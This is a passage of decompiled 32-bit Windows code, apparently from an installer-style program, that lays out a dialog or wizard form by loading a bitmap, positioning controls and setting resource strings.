                                                          				intOrPtr _t1565;
                                                          				intOrPtr _t1567;
                                                          				intOrPtr _t1568;
                                                          				intOrPtr _t1576;
                                                          				intOrPtr _t1580;
                                                          				intOrPtr _t1586;
                                                          				void* _t1614;
                                                          				intOrPtr _t1622;
                                                          				void* _t1675;
                                                          				intOrPtr _t1681;
                                                          				intOrPtr _t1692;
                                                          				intOrPtr _t1711;
                                                          				intOrPtr _t1715;
                                                          				intOrPtr _t1716;
                                                          				intOrPtr _t1723;
                                                          				intOrPtr _t1724;
                                                          				intOrPtr _t1729;
                                                          				intOrPtr _t1732;
                                                          				intOrPtr _t1745;
                                                          				signed int _t1808;
                                                          				signed int _t1809;
                                                          				signed int _t1814;
                                                          				signed int _t1815;
                                                          				intOrPtr _t1819;
                                                          				intOrPtr _t1828;
                                                          				intOrPtr _t1832;
                                                          				intOrPtr _t1835;
                                                          				signed int _t1853;
                                                          				signed int _t1855;
                                                          				void* _t1856;
                                                          				void* _t1861;
                                                          				void* _t1862;
                                                          				intOrPtr* _t1864;
                                                          				void* _t1871;
                                                          				intOrPtr* _t1872;
                                                          				struct HMENU__* _t1880;
                                                          				void* _t1881;
                                                          				void* _t1882;
                                                          				intOrPtr _t1883;
                                                          				signed int _t1884;
                                                          				void* _t1886;
                                                          				void* _t1887;
                                                          				intOrPtr _t1888;
                                                          				void* _t1894;
                                                          				intOrPtr _t1895;
                                                          				signed char _t1899;
                                                          				void* _t1906;
                                                          				void* _t1909;
                                                          				void* _t1912;
                                                          				void* _t1953;
                                                          
                                                          				_t1953 = __fp0;
                                                          				_t1837 = __edi;
                                                          				_t1503 = __edx;
                                                          				_t1457 = __ecx;
                                                          				_t1886 = _t1887;
                                                          				_t1888 = _t1887 + 0xffffffc4;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v48 = 0;
                                                          				_v64 = 0;
                                                          				_v24 = 0;
                                                          				if(__edx != 0) {
                                                          					_t1888 = _t1888 + 0xfffffff0;
                                                          					_t558 = E00402E78(_t558, _t1886);
                                                          				}
                                                          				_v16 = _t1457;
                                                          				_v9 = _t1503;
                                                          				_v8 = _t558;
                                                          				_t1456 =  &_v8;
                                                          				 *[fs:eax] = _t1888;
                                                          				E004203C4(_v16, 0); // executed
                                                          				 *((intOrPtr*)( *_t1456 + 0x2ec)) = E00402C78(1);
                                                          				 *((intOrPtr*)( *_t1456 + 0x32c)) = E00402C78(1);
                                                          				 *((intOrPtr*)( *_t1456 + 0x31c)) = E00402C78(1);
                                                          				 *((intOrPtr*)( *_t1456 + 0x320)) = E00402C78(1);
                                                          				 *((intOrPtr*)( *_t1456 + 0x324)) = E00402C78(1);
                                                          				 *((intOrPtr*)( *_t1456 + 0x328)) = E00402C78(1);
                                                          				_t574 =  *0x4ae208; // 0x21dc7a8
                                                          				_t1853 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x30)) -  *((intOrPtr*)( *_t574 + 0x1c))( *[fs:eax], 0x4625d0, _t1886);
                                                          				if(_t1853 > 0) {
                                                          					_t1445 =  *((intOrPtr*)( *_t1456 + 0x24c));
                                                          					E00414854( *((intOrPtr*)( *_t1456 + 0x24c)),  *((intOrPtr*)(_t1445 + 0x30)) - _t1853);
                                                          					_t1835 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x28));
                                                          					_t1884 = _t1853 >> 1;
                                                          					if( *((intOrPtr*)(_t1445 + 0x30)) - _t1853 < 0) {
                                                          						asm("adc esi, 0x0");
                                                          					}
                                                          					E00414814( *((intOrPtr*)( *_t1456 + 0x24c)), _t1835 + _t1884);
                                                          				}
                                                          				_t576 =  *0x4ae208; // 0x21dc7a8
                                                          				_t577 =  *((intOrPtr*)( *_t576 + 0x20))();
                                                          				_t1522 =  *((intOrPtr*)( *_t1456 + 0x24c));
                                                          				_t1855 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x2c)) - _t577;
                                                          				if(_t1855 > 0) {
                                                          					_t1894 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x2c)) - _t1855;
                                                          					E00414834( *((intOrPtr*)( *_t1456 + 0x24c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x2c)) - _t1855);
                                                          					_t1832 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x24));
                                                          					_t1855 = _t1855 >> 1;
                                                          					if(_t1894 < 0) {
                                                          						asm("adc esi, 0x0");
                                                          					}
                                                          					_t1522 = _t1832 + _t1855;
                                                          					_t1895 = _t1832 + _t1855;
                                                          					E004147F4( *((intOrPtr*)( *_t1456 + 0x24c)));
                                                          				}
                                                          				E0048811C( *_t1456, _t1895);
                                                          				_t1896 =  *0x4ae17d & 0x00000001;
                                                          				if(( *0x4ae17d & 0x00000001) == 0) {
                                                          					E00488100( *_t1456, _t1522);
                                                          				} else {
                                                          					E00487FDC( *_t1456, 1,  *0x4adf90);
                                                          				}
                                                          				_t1459 =  *0x4ae1bc; // 0xc
                                                          				_t1523 =  *0x4ae194; // 0x21d629c
                                                          				E00487BC8( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x44)), _t1456, _t1459, _t1523, _t1837, _t1855, 0xc, 0);
                                                          				_t1524 =  *0x4625f0; // 0x1
                                                          				E0041A5E8( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x44)), _t1524, _t1896);
                                                          				_t1525 =  *0x4625f0; // 0x1
                                                          				E0041A5E8( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x244)) + 0x44)), _t1525, _t1896);
                                                          				if(( *0x4ae17d & 0x00000001) == 0) {
                                                          					_t1459 =  &_v48;
                                                          					_t1526 =  *0x4ae278; // 0x21d49dc
                                                          					E00450C5C(0x99,  &_v48, _t1526);
                                                          					E00414D30( *_t1456, _t1456, _v48, _t1837, _t1855);
                                                          				} else {
                                                          					_t1828 =  *0x48ddc0; // 0x21db5c8
                                                          					E00414D30( *_t1456, _t1456, _t1828, _t1837, _t1855);
                                                          				}
                                                          				if(( *0x4ae17d & 0x00000001) == 0) {
                                                          					_v36 = E004148D4( *_t1456);
                                                          					_v40 = E00414918( *_t1456);
                                                          					_t1899 =  *( *_t1456 + 0x110) |  *0x4625f4;
                                                          					E004211B0( *_t1456, _t1459,  *( *_t1456 + 0x110) |  *0x4625f4);
                                                          					E004211DC( *_t1456, 1);
                                                          					E00420D80( *_t1456, _v36);
                                                          					E00420DAC( *_t1456, _v40);
                                                          				}
                                                          				_v56 = 0xa;
                                                          				_v55 = 0xc;
                                                          				_v54 = 0xd;
                                                          				_v53 = 0xe;
                                                          				_v52 = 0x10;
                                                          				_t1856 = E00487F3C( *_t1456, _t1456, 4,  &_v56, _t1837, _t1855, _t1899);
                                                          				_v20 = E004881D8( *_t1456, 0xa);
                                                          				E00414834( *((intOrPtr*)( *_t1456 + 0x1bc)), _t1856);
                                                          				E00414834( *((intOrPtr*)( *_t1456 + 0x1b8)), _t1856);
                                                          				E00414834( *((intOrPtr*)( *_t1456 + 0x1b4)), _t1856);
                                                          				_t612 = E004148D4( *_t1456);
                                                          				_t62 =  &_v20; // 0x476e6f
                                                          				E004147F4( *((intOrPtr*)( *_t1456 + 0x1b4)));
                                                          				_t64 =  &_v20; // 0x476e6f
                                                          				E004147F4( *((intOrPtr*)( *_t1456 + 0x1b8)));
                                                          				_t1843 = _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856;
                                                          				E004147F4( *((intOrPtr*)( *_t1456 + 0x1bc)));
                                                          				_t1536 =  *0x4ae14c; // 0x400000
                                                          				E0045B700( *((intOrPtr*)( *_t1456 + 0x22c)), _t1536);
                                                          				E0045B718( *((intOrPtr*)( *_t1456 + 0x22c)));
                                                          				E0045B724( *((intOrPtr*)( *_t1456 + 0x22c)), 1);
                                                          				E0045B76C( *((intOrPtr*)( *_t1456 + 0x22c)), 0 | ( *0x4ae180 & 0x00000040) != 0x00000000);
                                                          				_t1540 =  *0x4ae14c; // 0x400000
                                                          				E0045B700( *((intOrPtr*)( *_t1456 + 0x260)), _t1540);
                                                          				E0045B718( *((intOrPtr*)( *_t1456 + 0x260)));
                                                          				E0045B724( *((intOrPtr*)( *_t1456 + 0x260)), 1);
                                                          				E0045B76C( *((intOrPtr*)( *_t1456 + 0x260)), 0 | ( *0x4ae180 & 0x00000040) != 0x00000000);
                                                          				_t1544 =  *0x4ae208; // 0x21dc7a8
                                                          				E0045B718( *((intOrPtr*)( *_t1456 + 0x24c)));
                                                          				_t1902 =  *0x4ae180 & 0x00000040;
                                                          				E0045B76C( *((intOrPtr*)( *_t1456 + 0x24c)), _t1544 & 0xffffff00 | ( *0x4ae180 & 0x00000040) != 0x00000000);
                                                          				_t652 =  *0x48d014; // 0x400000
                                                          				E0041D8C8( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2b8)) + 0xb4)), LoadBitmapA(_t652, "STOPIMAGE"));
                                                          				E0045B73C( *((intOrPtr*)( *_t1456 + 0x2b8)), 0xc0c0c0);
                                                          				E0045B754( *((intOrPtr*)( *_t1456 + 0x2b8)),  *((intOrPtr*)( *_t1456 + 0x48)));
                                                          				E00460D8C(_t1456, 4, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856,  *0x4ae180 & 0x00000040, _t1886); // executed
                                                          				E004627A4( *_t1456, 1,  *0x4ae180 & 0x00000040, 0, 0, 0);
                                                          				E004603D4(0xbd,  &_v48);
                                                          				E004036C4( &_v48, 0x46260c);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x230)), _t1456, _v48, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856);
                                                          				E0046070C( *((intOrPtr*)( *_t1456 + 0x1c8)),  *((intOrPtr*)( *_t1456 + 0x230)),  *0x4ae180 & 0x00000040);
                                                          				E0046073C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x264)) + 0x28)),  *((intOrPtr*)( *_t1456 + 0x264)));
                                                          				E004603D4(0xbe,  &_v48);
                                                          				E004036C4( &_v48, 0x462618);
                                                          				_t1557 =  *0x48dbd8; // 0x21d9230
                                                          				E004036C4( &_v48, _t1557);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x264)), _t1456, _v48, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856);
                                                          				_t695 =  *0x48de80; // 0x21c388c
                                                          				_t696 =  *0x48dd00; // 0x21da738
                                                          				E004627A4( *_t1456, 2,  *0x4ae180 & 0x00000040, _t696, _t695,  *((intOrPtr*)( *_t1456 + 0x1d4)));
                                                          				E004603D4(0x65,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x268)), _t1456, _v48, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856);
                                                          				E0046073C(E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x268)),  *0x4ae180 & 0x00000040),  *((intOrPtr*)( *_t1456 + 0x26c)));
                                                          				_t1564 =  *0x48dcfc; // 0x21da714
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2a0)), _t1456, _t1564, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t707);
                                                          				_t1565 =  *0x48dd08; // 0x21da818
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2a4)), _t1456, _t1565, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t707);
                                                          				_t719 =  *0x48de84; // 0x21c38ac
                                                          				_t720 =  *0x48dd3c; // 0x21dabec
                                                          				E004627A4( *_t1456, 3,  *0x4ae180 & 0x00000040, _t720, _t719,  *((intOrPtr*)( *_t1456 + 0x1d8)));
                                                          				_t1567 =  *0x48dd40; // 0x21dac24
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x214)), _t1456, _t1567, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t707);
                                                          				_t1568 =  *0x48dd38; // 0x21dabd4
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x21c)), _t1456, _t1568, _t1843, _t707);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x21c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x21c)) + 0x28)) + E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x214)), _t1902));
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x218)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x218)) + 0x28)) + _t732 + E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x21c)), _t1902));
                                                          				_t744 =  *0x48de78; // 0x21c2d78
                                                          				_t745 =  *0x48dcd4; // 0x21da46c
                                                          				E004627A4( *_t1456, 4, _t1902, _t745, _t744,  *((intOrPtr*)( *_t1456 + 0x1dc)));
                                                          				_t1576 =  *0x48dcd0; // 0x21da428
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x238)), _t1456, _t1576, _t1843, _t732 + E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x21c)), _t1902));
                                                          				E0046073C(E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x238)), _t1902),  *((intOrPtr*)( *_t1456 + 0x234)));
                                                          				_t760 =  *0x48dea4; // 0x21dc04c
                                                          				_t761 =  *0x48de50; // 0x21dbe4c
                                                          				_t1471 =  *((intOrPtr*)( *_t1456 + 0x1cc));
                                                          				E004627A4( *_t1456, 5, _t1902, _t761, _t760,  *((intOrPtr*)( *_t1456 + 0x1e0)));
                                                          				_t1580 =  *0x48de54; // 0x21dbe78
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2a8)), _t1456, _t1580, _t1843, _t754);
                                                          				_t1861 = E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x2a8)), _t1902);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x2ac)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2ac)) + 0x28)) + _t1861);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x2b0)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2b0)) + 0x28)) + _t1861);
                                                          				_t1586 =  *0x48de5c; // 0x21dbeb4
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2b0)), _t1456, _t1586, _t1843, _t1861);
                                                          				_t1862 = _t1861 + E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x2b0)), _t1902);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x2b4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2b4)) + 0x28)) + _t1862);
                                                          				_t1903 =  *0x4ae255;
                                                          				if( *0x4ae255 == 0) {
                                                          					E00414C5C( *((intOrPtr*)( *_t1456 + 0x2c4)), _t1471, 0, _t1843);
                                                          					__eflags = 0;
                                                          					E00414C5C( *((intOrPtr*)( *_t1456 + 0x2c8)), _t1471, 0, _t1843);
                                                          				} else {
                                                          					E00414814( *((intOrPtr*)( *_t1456 + 0x2c4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c4)) + 0x28)) + _t1862);
                                                          					_t1819 =  *0x48de60; // 0x21dbed0
                                                          					E00414D30( *((intOrPtr*)( *_t1456 + 0x2c4)), _t1456, _t1819, _t1843, _t1862);
                                                          					E00414814( *((intOrPtr*)( *_t1456 + 0x2c8)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c8)) + 0x28)) + _t1862);
                                                          				}
                                                          				_t794 =  *0x48de90; // 0x21c3908
                                                          				E004603D4(0x87,  &_v48);
                                                          				E004627A4( *_t1456, 6, _t1903, _v48, _t794,  *((intOrPtr*)( *_t1456 + 0x1e4)));
                                                          				E004603D4(0x89,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x290)), _t1456, _v48, _t1843, _t1862);
                                                          				_t807 = E004881D8( *_t1456, 0xc);
                                                          				_t1863 =  *((intOrPtr*)( *_t1456 + 0x2dc));
                                                          				_t1845 = _t807 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x24)) +  *((intOrPtr*)(_t1863 + 0x2c));
                                                          				_t1864 =  *((intOrPtr*)( *_t1456 + 0x290));
                                                          				_t1473 =  *((intOrPtr*)(_t1864 + 0x28));
                                                          				_t1865 =  *_t1864;
                                                          				 *((intOrPtr*)( *_t1864 + 0x4c))( *((intOrPtr*)(_t1864 + 0x30)),  *((intOrPtr*)(_t1864 + 0x2c)) - _t807 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x24)) +  *((intOrPtr*)(_t1863 + 0x2c)) -  *((intOrPtr*)(_t1864 + 0x24)));
                                                          				E0046070C( *((intOrPtr*)(_t1864 + 0x28)),  *((intOrPtr*)( *_t1456 + 0x290)), _t1903);
                                                          				if( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)) >  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x30))) {
                                                          					_t1814 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x30)) - 1;
                                                          					_t1815 = _t1814 >> 1;
                                                          					if(_t1814 < 0) {
                                                          						asm("adc edx, 0x0");
                                                          					}
                                                          					_t1906 = _t1815 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x28));
                                                          					E00414814( *((intOrPtr*)( *_t1456 + 0x290)), _t1815 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x28)));
                                                          				}
                                                          				E004603D4(0x86,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2e4)), _t1456, _v48, _t1845, _t1865);
                                                          				_push(E004881E8( *_t1456, 0xd) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x30)) - 1);
                                                          				_t832 = E004881E8( *_t1456, 0xc);
                                                          				_pop(_t1614);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x2e4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E0042E79C(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)));
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x208)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x208)) + 0x28)) + E0042E79C(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E0046070C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906));
                                                          				_t1622 =  *0x48dbc0; // 0x21d915c
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2d4)), _t1456, _t1622,  *((intOrPtr*)( *_t1456 + 0x290)), E0042E79C(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E0046070C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906));
                                                          				_v60 = 0x14;
                                                          				_t851 = E00487F3C( *_t1456, _t1456, 0,  &_v60,  *((intOrPtr*)( *_t1456 + 0x290)), E0042E79C(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E0046070C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906), _t1906);
                                                          				_t1847 = _t851;
                                                          				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)))) + 0x4c))( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)) + 0x30)), _t851);
                                                          				E00414834( *((intOrPtr*)( *_t1456 + 0x208)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)) + 0x24)) - E004881D8( *_t1456, 0xa) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x208)) + 0x24)));
                                                          				E004603D4(0x29,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x204)), _t1456, _v48, _t851,  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)))));
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x204)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x204)) + 0x28)) - E0046070C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)) + 0x28)) + E0042E79C(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E0046070C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906),  *((intOrPtr*)( *_t1456 + 0x204)), _t1906));
                                                          				_t883 =  *0x48de94; // 0x21c3930
                                                          				E004603D4(0x84,  &_v48);
                                                          				E004627A4( *_t1456, 7, _t1906, _v48, _t883,  *((intOrPtr*)( *_t1456 + 0x1e8)));
                                                          				E004603D4(0x85,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x298)), _t1456, _v48, _t851,  *((intOrPtr*)( *_t1456 + 0x204)));
                                                          				_t1871 = E0046070C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x298)), _t1906);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x224)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0x28)) + _t1871);
                                                          				_t1478 = _t1871;
                                                          				E0046073C(_t1871,  *((intOrPtr*)( *_t1456 + 0x278)));
                                                          				E004603D4(0x1e,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x27c)), _t1456, _v48, _t851, _t1871);
                                                          				E0046070C(_t1871,  *((intOrPtr*)( *_t1456 + 0x27c)), _t1906);
                                                          				if( *0x4ae25a != 0) {
                                                          					_t1379 =  *0x4ae1d0; // 0x21c2a88
                                                          					if( *((intOrPtr*)(_t1379 + 8)) == 1) {
                                                          						E00414C5C( *((intOrPtr*)( *_t1456 + 0x224)), _t1478, 0, _t1847);
                                                          						_t1909 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x278)) + 0x28));
                                                          						E0046073C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x278)) + 0x28)),  *((intOrPtr*)( *_t1456 + 0x278)));
                                                          					}
                                                          				}
                                                          				_t916 =  *0x48de98; // 0x21c3950
                                                          				E004603D4(0x8e,  &_v48);
                                                          				E004627A4( *_t1456, 8, _t1909, _v48, _t916,  *((intOrPtr*)( *_t1456 + 0x1ec)));
                                                          				E004603D4(0x8f,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x294)), _t1456, _v48, _t1847, _t1871);
                                                          				_t929 = E004881D8( *_t1456, 0xc);
                                                          				_t1849 = _t929 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x24)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x2c));
                                                          				_t1872 =  *((intOrPtr*)( *_t1456 + 0x294));
                                                          				_t1873 =  *_t1872;
                                                          				 *((intOrPtr*)( *_t1872 + 0x4c))( *((intOrPtr*)(_t1872 + 0x30)),  *((intOrPtr*)(_t1872 + 0x2c)) - _t929 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x24)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x2c)) -  *((intOrPtr*)(_t1872 + 0x24)));
                                                          				E0046070C( *((intOrPtr*)(_t1872 + 0x28)),  *((intOrPtr*)( *_t1456 + 0x294)), _t1909);
                                                          				if( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)) >  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x30))) {
                                                          					_t1808 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x30)) - 1;
                                                          					_t1809 = _t1808 >> 1;
                                                          					if(_t1808 < 0) {
                                                          						asm("adc edx, 0x0");
                                                          					}
                                                          					_t1912 = _t1809 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x28));
                                                          					E00414814( *((intOrPtr*)( *_t1456 + 0x294)), _t1809 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x28)));
                                                          				}
                                                          				E004603D4(0x8d,  &_v48);
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2e8)), _t1456, _v48, _t1849, _t1873);
                                                          				_push(E004881E8( *_t1456, 0xd) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x30)) - 1);
                                                          				_t955 = E004881E8( *_t1456, 0xc);
                                                          				_pop(_t1675);
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x2e8)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E0042E79C(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)));
                                                          				E00414814( *((intOrPtr*)( *_t1456 + 0x20c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x20c)) + 0x28)) + E0042E79C(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E0046070C( *((intOrPtr*)( *_t1456 + 0x2e0)),  *((intOrPtr*)( *_t1456 + 0x2e8)), _t1912));
                                                          				_t1681 =  *0x48dbc0; // 0x21d915c
                                                          				E00414D30( *((intOrPtr*)( *_t1456 + 0x2d8)), _t1456, _t1681, _t1849, E0042E79C(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E0046070C( *((intOrPtr*)( *_t1456 + 0x2e0)),  *((intOrPtr*)( *_t1456 + 0x2e8)), _t1912));
                                                          				_v60 = 0x14;
                                                          				_t977 = E00487F3C( *_t1456, _t1456, 0,  &_v60, _t1849, E0042E79C(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E0046070C( *((intOrPtr*)( *_t1456 + 0x2e0)),  *((intOrPtr*)( *_t1456 + 0x2e8)), _t1912), _t1912);
                                                          				_t1850 = _t977;
                                                          				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)))) + 0x4c))( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)) + 0x30)), _t977);
                                                          				E00414834( *((intOrPtr*)( *_t1456 + 0x20c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)) + 0x24)) - E004881D8( *_t1456, 0xa) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x20c)) + 0x24)));
                                                          				_t1692 =  *0x48dd18; // 0x21da948
